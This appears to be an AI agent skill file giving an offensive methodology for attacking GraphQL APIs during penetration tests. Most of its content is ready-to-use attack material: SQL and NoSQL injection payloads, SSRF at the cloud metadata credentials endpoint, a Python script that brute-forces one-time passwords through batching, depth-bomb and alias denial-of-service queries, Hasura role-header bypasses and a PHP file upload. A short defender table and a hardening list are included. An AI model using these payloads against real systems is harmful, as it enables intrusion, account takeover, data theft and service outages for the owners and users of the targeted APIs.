--- name: offensive-graphql description: "Offensive methodology for attacking GraphQL APIs during penetration tests and bug bounty engagements. Covers the full attack lifecycle: endpoint discovery, introspection abuse and blind schema reconstruction when introspection is disabled, authentication and authorization bypass through Relay node IDs and nested object traversal, injection via variables and directives, query batching for brute force and OTP bypass, denial of service through depth bombs and alias amplification, WebSocket subscription hijacking, information disclosure through verbose errors and field suggestion oracles, and file upload abuse via the multipart GraphQL specification. Includes tool-specific guidance for InQL, graphql-cop, CrackQL, BatchQL, Altair, GraphQL Voyager, and clairvoyance. . Use when performing authorized red-team, pentest, or research work involving graphql." codex-short-description: "Offensive methodology for attacking GraphQL APIs during penetration tests and bug…" category: quality-security related-skills: - penetration-tester compatibility: claude-code codex opencode --- # Offensive GraphQL GraphQL consolidates an entire API surface behind a single endpoint, making it a high-value target during web application assessments. Unlike REST, where each route maps to a discrete resource, a GraphQL schema exposes every type, field, mutation, and subscription in one queryable structure. Attackers who obtain or reconstruct that schema gain a complete map of the application's data model before writing a single exploit. This skill walks you through each phase of a GraphQL engagement with concrete queries, tool invocations, and chaining patterns. ## Quick Workflow 1. Discover the endpoint -- probe common paths, inspect client-side JS bundles, check WebSocket upgrade headers. 2. Fingerprint the implementation -- use graphw00f to identify the engine and tailor payloads. 3. Dump or reconstruct the schema -- full introspection query; if blocked, field suggestion probing or clairvoyance. 4. Map the attack surface -- feed the schema into GraphQL Voyager or InQL. 5. Test authentication and authorization -- every query and mutation with no token, low-privilege, and cross-user tokens. 6. Inject through resolvers -- SQL, NoSQL, and OS command payloads through arguments and variables. 7. Abuse batching -- arrayed operations for brute force, OTP bypass, and rate limit evasion. 8. Stress depth and complexity -- nested queries, alias fans, and circular fragments. 9. Probe subscriptions -- WebSocket with expired or missing tokens, subscribe to sensitive streams. 10. Exfiltrate via errors -- verbose stack traces, type mismatches, field suggestions. 11. Test file upload -- multipart GraphQL specification for oversized or malicious files. 12. Chain and escalate -- combine findings into multi-step attack paths with proof-of-concept queries. --- ## 1 -- Endpoint Discovery and Fingerprinting Probe common paths with a minimal query body. A `__typename` response confirms a live GraphQL endpoint. ```bash curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__typename}"}' | jq . ``` Paths to probe: `/graphql`, `/graphiql`, `/v1/graphql`, `/v2/graphql`, `/api/graphql`, `/graphql/console`, `/playground`, `/explorer`, `/query`. Some servers accept GET requests: ```bash curl -s "https://target.com/graphql?query=\{__typename\}" ``` Fingerprint the implementation to determine default behaviors (introspection state, error format, batching syntax): ```bash python3 graphw00f.py -t https://target.com/graphql ``` Run graphql-cop for a one-pass configuration audit -- it reports introspection status, field suggestion leaks, GET-based query acceptance (CSRF risk), and unrestricted batching: ```bash python3 graphql-cop.py -t https://target.com/graphql ``` --- ## 2 -- Introspection and Blind Schema Reconstruction ### Full Introspection Dump When introspection is enabled, pull the entire schema in one request. This is the single most valuable recon step. ```graphql query FullIntrospection { __schema { queryType { name } mutationType { name } subscriptionType { name } types { kind name description fields(includeDeprecated: true) { name args { name type { ...T } defaultValue } type { ...T } } inputFields { name type { ...T } defaultValue } interfaces { ...T } enumValues(includeDeprecated: true) { name description } possibleTypes { ...T } } directives { name description locations args { name type { ...T } } } } } fragment T on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } ``` Pipe the result into GraphQL Voyager for visual exploration, or load InQL in Burp Suite -- it parses the schema and generates individual queries for every field and mutation. ### Targeted __type Queries When full introspection is disabled but `__type` lookups still work (a common misconfiguration where the server blocks `__schema` but forgets `__type`): ```graphql query { __type(name: "User") { name fields { name type { name kind } } } } ``` ### Bypassing Disabled Introspection **Field suggestion oracle.** Most engines return "Did you mean..." when you query a non-existent field. Submit plausible names and harvest suggestions: ```graphql query { __typename aaa } ``` ```json { "errors": [{ "message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?" }] } ``` Automate this with clairvoyance, which iterates a wordlist, collects suggestions, and assembles a reconstructed schema: ```bash python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json ``` **Apollo Sandbox.** If the target runs Apollo Server v3+, navigate to the endpoint in a browser. Apollo Sandbox performs introspection client-side even when the production toggle is off. Check Apollo Studio explorer if the server is registered there. **Client-side bundles.** Search JS files for query strings, fragment definitions, and type names: ```bash curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+' ``` --- ## 3 -- Authentication and Authorization Bypass Authorization bugs are pervasive because developers must implement field-level checks manually in each resolver. A single missing check on a nested field can expose the entire object graph. ### IDOR Through Relay Node IDs Relay exposes a global `node` interface that resolves any object by an opaque base64-encoded ID (`Type:numericID`): ```bash echo -n "VXNlcjoxMjM=" | base64 -d # Output: User:123 ``` Forge IDs for other users and query through the node interface: ```graphql query { node(id: "VXNlcjoxMjQ=") { ... on User { id email role ssn } } } ``` Enumerate sequentially: ```bash for i in $(seq 1 100); do id=$(echo -n "User:$i" | base64) curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \ -d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}" done ``` ### Nested Object Authorization Gaps Authorization enforced on the top-level query often does not carry to nested relationships. Access your own Order, then check whether the customer field traverses to another user's data: ```graphql query { myOrders { id customer { id email paymentMethods { cardNumber expirationDate } } } } ``` The `myOrders` resolver filters by your ID, but the `customer` resolver on Order may eagerly load the associated user without ownership checks. ### Relay Pagination and Cursor Manipulation Decode opaque cursors (often base64 of an offset) and manipulate the value. If the cursor decodes to `cursor:999`, set it to `cursor:0` to access records from the beginning: ```graphql query { users(first: 10, after: "Y3Vyc29yOjA=") { edges { node { id email } cursor } pageInfo { hasNextPage endCursor } } } ``` ### Mutation Authorization Test every state-changing mutation with no token, low-privilege tokens, and cross-tenant tokens: ```graphql mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } } mutation { deleteAccount(userId: "OTHER_USER_ID") { success } } ``` --- ## 4 -- Injection Through Resolvers Variables and arguments flow directly into resolver functions. String concatenation in resolvers creates classic injection vectors. ### SQL Injection via Variables ```graphql query GetUser($name: String!) { user(name: $name) { id email } } ``` ```json {"name": "admin' OR 1=1 --"} ``` Escalate with UNION-based injection: ```json {"name": "' UNION SELECT username, password FROM admin_users --"} ``` ### NoSQL Injection For MongoDB-backed resolvers: ```json {"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}} ``` Time-based detection: ```graphql query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } } ``` ### Directive Injection and Flooding Directive flooding -- attaching thousands of `@include(if: true)` directives to a single field -- crashes parsers (CVE-2024-47614 in async-graphql): ```graphql query { __typename @include(if: true) @include(if: true) @include(if: true) ... } ``` Generate a payload with 10,000 directives programmatically. Custom `@auth` or `@constraint` directives may also accept arguments you can manipulate to override server-side behavior. ### SSRF Through Resolver Arguments If a mutation accepts a URL argument (webhooks, avatars, imports), test for SSRF: ```graphql mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } } ``` --- ## 5 -- Batching Attacks GraphQL servers commonly accept arrays of operations in a single HTTP request. Back-end rate limiters often count HTTP requests, not individual operations within a batch, enabling powerful bypass attacks. ### Credential Brute Force ```json [ {"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"}, {"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"}, {"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"} ] ``` A single HTTP request carries hundreds of login attempts. The rate limiter sees one request. ### OTP / 2FA Bypass Batch all possible 4-digit OTP values in chunks: ```python import requests ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'} for c in range(10000)] for i in range(0, len(ops), 500): r = requests.post("https://target.com/graphql", json=ops[i:i+500], headers={"Authorization": "Bearer "}) for idx, res in enumerate(r.json()): if res.get("data", {}).get("verifyOTP", {}).get("success"): print(f"Valid OTP: {str(i + idx).zfill(4)}") ``` ### Alias-Based Batching Some servers reject array batching but allow alias-based batching within a single query: ```graphql query { a1: login(user: "admin", pass: "pass1") { token } a2: login(user: "admin", pass: "pass2") { token } a3: login(user: "admin", pass: "pass3") { token } } ``` Automate with BatchQL and CrackQL: ```bash python3 batch-ql.py -e https://target.com/graphql \ -q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500 ``` --- ## 6 -- Denial of Service GraphQL's flexible query language is inherently susceptible to resource exhaustion unless the server enforces strict cost controls. ### Depth Bomb Exploit circular relationships. If User has `friends` returning `[User]`, nest indefinitely -- eight levels deep on a user with 100 friends each triggers 100^8 resolver calls: ```graphql query DepthBomb { users { friends { friends { friends { friends { friends { friends { id email } } } } } } } } ``` ### Alias Amplification Request the same expensive field thousands of times using aliases. Each alias invokes the resolver independently: ```graphql query { a1: expensiveReport(year: 2024) { data } a2: expensiveReport(year: 2024) { data } a3: expensiveReport(year: 2024) { data } # ... repeat 1000 times } ``` ### Circular Fragment Spread Older implementations may not detect circular references, causing infinite recursion: ```graphql fragment A on User { friends { ...B } } fragment B on User { friends { ...A } } query { user(id: 1) { ...A } } ``` ### Incremental Delivery Abuse If the server supports `@defer` and `@stream`, attach them to expensive subtrees to hold connections open and multiply compute: ```graphql query { users(first: 1000) @stream(initialCount: 1) { id orders @defer { total items @stream(initialCount: 1) { name price } } } } ``` --- ## 7 -- Subscription Abuse and WebSocket Hijacking Subscriptions run over WebSocket using `graphql-ws` or the older `subscriptions-transport-ws` protocol. These long-lived connections present a distinct attack surface. ### Unauthenticated Subscription Connect without authentication in the `connection_init` payload, then subscribe: ```json {"type": "connection_init", "payload": {}} ``` ```json {"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}} ``` If the server does not validate connection_init, you receive real-time events for all new orders. ### Token Expiry on Long-Lived Connections WebSocket connections persist after the initial handshake. If the server validates the JWT only during `connection_init`, a token that expires mid-session remains valid for the connection's lifetime. Test by connecting with a short-lived token, waiting for expiry, then sending a new subscription. ### Cross-Site WebSocket Hijacking (CSWSH) If the WebSocket endpoint relies on cookies and does not validate the Origin header, hijack it from a malicious page: ```html ``` --- ## 8 -- Information Disclosure and File Upload ### Verbose Error Messages GraphQL engines often return implementation details in errors. Send type-mismatched arguments to trigger stack traces: ```json { "errors": [{ "message": "invalid input syntax for type integer: \"abc\"", "extensions": { "exception": { "stacktrace": [ "Error: invalid input syntax for type integer: \"abc\"", " at /app/node_modules/pg/lib/client.js:526:17", " at /app/src/resolvers/user.js:42:12" ] } } }] } ``` This reveals the database driver (PostgreSQL via `pg`), file paths, and line numbers. ### Field Suggestion as Schema Oracle Even with introspection disabled, iterate through prefixes to reconstruct the schema via "Did you mean" responses: ```text Query field "a" -> "admin", "account" Query field "b" -> "billing", "blog" Query field "c" -> "customer", "config", "cart" ``` ### Hasura and Apollo-Specific Leaks **Hasura** -- test `x-hasura-role` and `x-hasura-user-id` header injection when the admin secret is not enforced: ```bash curl -s -X POST https://target.com/v1/graphql \ -H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \ -d '{"query": "{ users { id email password_hash } }"}' ``` **Apollo Federation** -- query the `_service` field for the full SDL of a subgraph: ```graphql query { _service { sdl } } ``` ### File Upload via Multipart GraphQL The multipart request specification enables file uploads through mutations. Test for path traversal, unrestricted types, and oversized uploads: ```bash curl -s -X POST https://target.com/graphql \ -F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \ -F map='{"0":["variables.file"]}' \ -F 0=@malicious.php ``` Attack vectors: path traversal via manipulated `map` JSON paths, content-type trust (upload `.php`/`.jsp` and check for magic byte validation), multi-gigabyte uploads for size limit testing, and predictable temp file paths that may be web-accessible before processing. --- ## Detection / Defender View | Attack Category | Detection / Prevention | |---|---| | Introspection abuse | Disable in production (`introspection: false`). Monitor for `__schema` and `__type` in query logs. | | Field suggestion oracle | Disable suggestions (Apollo: custom plugin to strip; Yoga: `maskedErrors`). | | IDOR via node IDs | Enforce ownership checks in every resolver. Use UUIDs over sequential IDs. | | Nested auth gaps | Schema-level authorization directives (`@auth`, `@hasRole`). Checks at every resolver, not just top-level. | | SQL / NoSQL injection | Parameterized queries exclusively. Never concatenate user input. | | Batching brute force | Limit batch size (max 5 operations). Rate-limit by operation count, not HTTP request count. | | Alias amplification | Alias count limits. Query cost analysis (graphql-query-complexity, GraphQL Armor). | | Depth bomb | Max query depth 7-10 (graphql-depth-limit, GraphQL Armor). | | Subscription hijack | Validate auth on every `connection_init`, re-validate tokens periodically, enforce Origin checks. | | Verbose errors | Generic error messages in production. Strip stack traces and paths. | | File upload abuse | Validate by magic bytes, enforce size limits, store outside web root, re-encode images. | | CSRF | Require `Content-Type: application/json`. Reject GET-based mutations. Validate Origin. | Key hardening tools: **GraphQL Armor** (depth, alias, cost, character limits for Apollo/Yoga/Envelop), **persisted queries** (allowlist known operations, reject ad-hoc queries via APQ with signature enforcement), and WAF rules that parse JSON bodies and inspect the `query` field rather than just URL parameters. --- ## Engagement Cheatsheet ```text RECON Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename} Fingerprint graphw00f -t Introspection dump Full __schema query via Altair or InQL Config audit graphql-cop -t Visualize schema Introspection JSON into GraphQL Voyager BLIND SCHEMA RECOVERY Field suggestions Query invalid fields, collect "Did you mean" responses Automated recovery clairvoyance -t -w wordlist.txt Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js Apollo sandbox Navigate to endpoint in browser AUTH TESTING No-auth access Replay every query/mutation without Authorization header Horizontal IDOR Decode Relay node IDs, substitute other user IDs Vertical escalation Test admin mutations with low-privilege tokens Nested traversal Follow relationships to reach unauthorized objects Cursor manipulation Decode Relay cursors, modify offset values INJECTION SQLi via variables {"name": "admin' OR 1=1 --"} NoSQL injection {"filter": {"$ne": ""}} SSRF via URL args Point URL fields at 169.254.169.254 Directive flooding 10,000 @include(if: true) on a single field BATCHING Array batching [{"query":"mutation{login(...)}"}, ...] Alias batching a1: login(...) a2: login(...) ... OTP exhaustion Batch all 4-6 digit codes in chunks of 500 Tools CrackQL, BatchQL DoS Depth bomb Nest circular relationships 8+ levels Alias amplification 1000+ aliases on an expensive resolver Fragment cycle Circular fragment spreads (A -> B -> A) Incremental delivery @defer/@stream on expensive subtrees SUBSCRIPTIONS No-auth subscribe connection_init with empty payload Token expiry test Connect, wait for JWT expiry, send new subscription CSWSH Cross-site WebSocket hijack via malicious page FILE UPLOAD Multipart spec -F operations=... -F map=... -F 0=@file Path traversal Manipulate map JSON paths Type bypass Upload executable with benign Content-Type INFO DISCLOSURE Verbose errors Type-mismatched arguments, observe stack traces Federation SDL { _service { sdl } } Hasura headers x-hasura-role: admin without admin secret ``` --- ## Key References - GraphQL specification: https://spec.graphql.org/ - GraphQL multipart request spec: https://github.com/jaydenseric/graphql-multipart-request-spec - InQL (Burp extension): https://github.com/doyensec/inql - graphql-cop (security auditor): https://github.com/dolevf/graphql-cop - CrackQL (batching/brute force): https://github.com/nicholasaleks/CrackQL - BatchQL (batch query tool): https://github.com/assetnote/batchql - clairvoyance (schema reconstruction): https://github.com/nikitastupin/clairvoyance - graphw00f (fingerprinting): https://github.com/dolevf/graphw00f - GraphQL Voyager (visualization): https://graphql-kit.com/graphql-voyager/ - Altair GraphQL Client: https://altairgraphql.dev/ - GraphQL Armor (hardening): https://github.com/Escape-Technologies/graphql-armor - OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html - HackTricks GraphQL: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html - Damn Vulnerable GraphQL Application: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application ## Self-Evolve Loop Journal: `~/.ink-and-agency/learnings/offensive-graphql.md` (workspace-local `.ink-and-agency/learnings/offensive-graphql.md` where the sandbox confines writes). Read it first, append what the run taught last — [SELF-EVOLVE.md](../SELF-EVOLVE.md).